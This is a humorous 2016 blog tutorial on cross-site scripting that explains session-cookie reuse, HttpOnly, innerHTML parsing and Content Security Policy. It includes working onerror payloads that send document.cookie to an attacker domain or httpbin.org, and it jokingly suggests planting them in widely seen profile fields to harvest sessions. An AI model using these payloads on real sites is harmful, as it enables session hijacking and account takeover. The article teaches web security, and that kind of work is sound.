David Gilbertson

@david.gilbertson

Cross-site scripting for dummies

October 6th 2016

First of all, I would like to state that my intentions with this are article are entirely dishonourable. I want to help hackers to break the law, illegally, and teach them how to use cross site scripting to steal user data and use it for the most nefarious of purposes.

If you happen to be a web developer and use the information below to improve the security of your website then I suppose there’s nothing I can do about that.

There’s a sucker born every minute (babies are dumb) and an insecure site is born even more frequently. You, my would-be hacker reader, just need to find a website that’s got a few simple things wrong. It’s like aligning pieces of Swiss cheese.

You have lined up pieces of Swiss cheese before, haven’t you? In Swiss folklore if you line up all the holes in slices of Swiss cheese (they call it cheese) and poke your finger through the hole, it will come out the other side. Their folklore is kinda shit, but by golly they’ve got some great mountains.

Where were we? (A little Matryoshka sentence.)

Ah yes, the search for a vulnerable website. The vulnerabilities are well known — and individually they are plentiful — but we need a site that does all these things:

  • Allows you to sign in with just a cookie
  • Sends the sensitive cookies insecurely
  • Allows user-defined text to be parsed without sanitizing
  • Allows sending data out to unknown domains

Let’s look at the no-no list one at a time…

A site that lets you sign in with a cookie

A lot of sites (um, 94% why not) will let you sign in with just a cookie. Which means you can take a cookie from one machine, move it to another and ‘sign in’ without knowing the user’s username or password. A web developer could go to the trouble of ensuring a cookie only worked on the computer it was created on (by browser fingerprinting), but few do.

Let’s use reddit as an example and see if it will let us transport their cookie.

  1. Install the Chrome extension EditThisCookie, this will let you copy/set cookies (allow it in incognito mode).
  2. Head on over to reddit.com and check out the cookies. To find the appropriate cookie, it’s a process of elimination. After 30 seconds you’ll see that you can delete everything but the one called reddit_session and remain logged in when you refresh. So we’ll copy the value of that cookie.
If you feel like typing that out you can sign in to reddit as me.

Now open an incognito window and go to reddit.com. Obviously you will not be logged in. Use the extension to add a new cookie called reddit_session and paste the value. Tick the boxes so that it matches the cookie you copied. In this case, HttpOnly and Secure.

That bird really did resemble Donald Trump

Refresh the page. Boom, you’re logged in. No username, no password required.

This is not a security issue on it’s own, it’s how the world works, but if you can’t do this with a site there’s no point carrying on.

So our quest is clear: get our grubby little hands on some cookies. To access cookies on a target’s computer, all we need is JavaScript to read document.cookie, right?

Nope.

Unfortunately, jerk-face security jerks have made it really simple for web developers to protect those cookies from JavaScript’s prying eyes. So we need to find …

A site that does not use HttpOnly cookies

When a pesky web developer sets a cookie and defines it as HttpOnly, it means that we, the friendly neighbourhood hackers, can’t access that cookie using document.cookie (a property with a setter that appends — that does my head in).

Obviously this sucks, but luckily there are still sites out there not setting HttpOnly on their cookies. Let’s hope they’re not reading this, amiright?!

(Remember, when you access document.cookie, you are accessing the cookies for the current document. That means if a user is on reddit.com when you access document.cookie, you won’t see cookies for buzzfeed.com.)

I have faith that you’ve tracked down a site that leaves their cookies out in the open with their pants down, and that you can use these cookies to sign in on another machine. Next up, we need to find …

A site that allows user-defined data to be parsed

What do I mean by user-defined data? You’ll notice at the top of this very page, under my name, it says <script>alert('tsk tsk')</script>. This is text that I — a user of medium.com — defined. Everywhere you look on the web there is text created by other users (that’s kinda what web 2.0 was all about). It’s not just medium and facebook and yelp. When I look at my bank statement and see an entry for “Cook to impress the ladies - expert level lesson”, that is text defined by a third party, neither I nor the bank have control over it.

And what do I mean by parsed? There are two scenarios that result in HTML being parsed:

  1. If a web server sends <script>alert('tsk tsk')</script> in the HTML, the browser will parse (and therefore execute) that JavaScript (OK unless it’s in a textarea or something*).
  2. If a site writes text into the page client-side using element.innerHTML then it will be parsed (innerHTML is the hacker’s best friend). If they use element.textContent instead then it will not be parsed (booooo).

The good folk at Medium have no control over what I enter in that bio field, but unfortunately they’re savvy enough to know that any user-defined data should not be trusted, and never be parsed. So when they generate the HTML for this page on the server, they sanitize it, which means it looks like this when delivered from the server: &lt;script&gt;alert(&#39;tsk tsk&#39;)&lt;/script&gt; (you can see that in the source for this page). And when they render text client-side, they use textContent instead of innerHTML.

Bummer.

It should be easy enough to identify a site that has not taken these precautions. You can actually go looking for innerHTML like so:

  • Open the DevTools (I’ll assume Chrome, but the others will do)
  • Go to the network panel
  • Right click a js file and select Open in Sources panel
  • Click the pretty print {} icon down the bottom
  • Search for innerHTML
  • Work out what fires that code (adding a breakpoint might help — click the line number)

Or the less technical approach, just fill in all the fields you can (enter your profile details, post comments, write reviews, enter search terms, etc.) and wrap everything in <h1> tags. If your text is ever displayed without the “<h1>” visible (and probably in big font) then you know your text was parsed. The site has made a schoolboy error. Or schoolhuman error I suppose, in the interests of gender neutralizing centuries-old idioms.

Don’t forget to check everywhere that text might be displayed. Medium.com might have been clever enough to sanitize the ‘bio’ text in the header, but not in the custom tooltip when you hover your mouse over my picture.

You can see the difference between innerHTML and textContent in the below fiddle.

You might be wondering, “what if a site sets innerHTML, but they strip out <script> tags?”

The answer to that is: excellent!

Of all the terrible things that people do, being ‘well meaning’ is by far the worst. Whether it’s letting someone in front of you in traffic even though you have right-of-way, telling someone that they will really enjoy going to a Celine Dion concert because you didn’t like her to start with either but she really grew on you, or writing a regex to remove script tags; it’s all misguided and borderline-dangerous. (Particularly the Celine Dion thing because once you get her, you’re hooked for life.)

While the well-meaning web developer is busy stripping out script tags, you can just use this instead: <img src=x onerror="alert('tsk tsk')">. That will, of course, try to load an image that doesn’t exist, fail, and then execute the onerror script. So go searching for people asking how to strip out script tags and pay their website a visit.

If you’ve made it this far, things are going swimmingly. You’ve found a site that leaves transportable cookies exposed to JavaScript and will parse and execute text that you give it. Now all you need is to get those cookies from the unsuspecting visitor’s computer into your dorito-dust-covered fingers.

For this last step we need …

A site that does not have a CSP

A Content Security Policy is a real pain. It will block you from making requests to other domains from within the page. We can test this by pasting the following into the DevTools console:

fetch('//httpbin.org/post',{method:'POST',body:document.cookie})

You will see that on medium.com it gets blocked:

I’ve got a custom build of Chrome that plays sad-trombone on error.

Dammit.

You’ll see similar messages from twitter.com, facebook.com, although not from my bloody bank, as it turns out. There you will see something like this:

Waap waap waaaaaaaap.

This confirms that I was able to send cookies to an unknown domain (in this case, httpbin.org which is a nice little site that can just mirror back whatever you send to it).

I should say, just because a site doesn’t have a content security policy, it doesn’t make it insecure (one in ten users won’t have it anyway), but for our purposes we require a site with no CSP.

On a whim (I ❤ whims), I wondered if medium would let me request an image from (rather than post to) an unknown source. As it turns out it does. So in this case it’s easy enough to get around the CSP by just requesting an image and appending the cookies as params.

<img src=x onerror="this.src = '//httpbin.org/image/png?c=' + document.cookie">

As with previous examples, this image fails to load, then sets its own source, which is a real image so it doesn’t error again. The image is a pig.

You’ve been pigged.

Wrapping it all up

Alrighty vegimity, assuming that you have lined up the pieces of Swiss cheese, you have managed to find a site where you can enter some text, have it parsed by another user’s browser, access the poor sucker’s unprotected cookies, send them off to your own domain, and use those to sign in as that person, all without their knowledge.

Of course you’re not just getting one person’s cookies, you’re harvesting them en masse.

Now just find a text field that will be visible to the maximum number of other users of that site (e.g. the bio field on medium) and enter something like this:

<img src=x onerror="fetch('//yourdomain.com', {method: 'POST', body: document.cookie})">

If fetch() is blocked (this is covered by connect-src is the CSP), you can try the img URL approach (covered by the img-src directive in the CSP).

<img src=x onerror="this.src = '//httpbin.org/image/png?c=' + document.cookie">

The URL should of course point to your own domain. I believe Iceland is lovely this time of year and has some nice anonymous domain hosting options.

With great hacking comes great responsibility

If you do manage to get someone’s credentials to, say, a social network, please be responsible. Don’t just post photos of your rude parts; have a little class. Make innocuous posts late at night that are the sorts of things they would say; they will begin to think they’re sleep-sharing. Start writing up-beat yelp reviews for late-night venues in their local area so they think they’re sleep-socializing, too. Naturally you will post Photoshopped photos of them having a great time and sneak into their house and put a little stamp on their wrist from the club in question.

If you can get into an online shopping account, order them a book you think they might enjoy, or Ayn Rand. Perhaps splash out and get something nice for their significant other — flowers or bathroom scales, something like that.

If you get into their technical question/answer site account you should go right ahead and answer questions tagged only as ‘JavaScript’ with solutions requiring jQuery. Suggest float: left for all CSS questions. Post an answer to a question about JavaScript closures in the form of an allegory involving only the cast of Sex in the City (“While shopping for frocks, Samantha told Charlotte about her lady feelings for Mr Big. She insisted that the secret should not be available to Carrie outside the changing rooms in which the secret was originally shared.”)

Thanks for reading, have a lovely day. Oh wait I’m not done. I should add that I know very little about security, I learnt most of what’s in this post while writing this post. Any feedback/corrections are most welcome. Feel free to be mean; I’m getting pretty good at not letting internet comments upset me, but I still need more practice.

* I just had an idea, HTML should have a <raw> tag, the contents of which is never parsed. It would have the execution behaviour of a <textarea> with the layout behaviour of a <span>.

Hacker Noon is how hackers start their afternoons. We’re a part of the @AMI family. We are now accepting submissions and happy to discuss advertising & sponsorship opportunities.
If you enjoyed this story, we recommend reading our latest tech stories and trending tech stories. Until next time, don’t take the realities of the world for granted!

More by David Gilbertson

More Related Stories